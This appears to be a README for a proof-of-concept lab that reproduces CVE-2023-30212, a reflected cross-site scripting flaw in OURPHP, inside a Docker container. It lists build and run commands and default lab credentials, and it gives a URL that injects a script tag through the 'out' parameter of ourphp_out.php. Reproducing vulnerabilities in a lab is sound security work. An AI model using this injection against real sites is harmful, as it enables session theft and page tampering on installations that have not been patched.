CVE-2023-30212 PoC — OURPHP 跨站脚本漏洞

介绍

# Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-

# Download files from my repostry using git clone 
git clone https://github.com/JasaluRah/Creating-a-Vulnerable-Docker-Environment-CVE-2023-30212-.git

now to set docker image 
# Creating docker image
use the command  `sudo docker build -t work .`

# To run docker container 
use the command `sudo docker run -d -p 80:80 work` 

now we will get container id 

# To view OURPHP 
go to browser and search for localhost ; `127.0.0.1`
now use the credentials 
username : root
password : docker
database : work

# To sign in as admin 
username : work
password : work

# Checking the vulnerability
go tot the url  `http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("xss")</script>`
we will get alert message as "xss".

文件快照

备注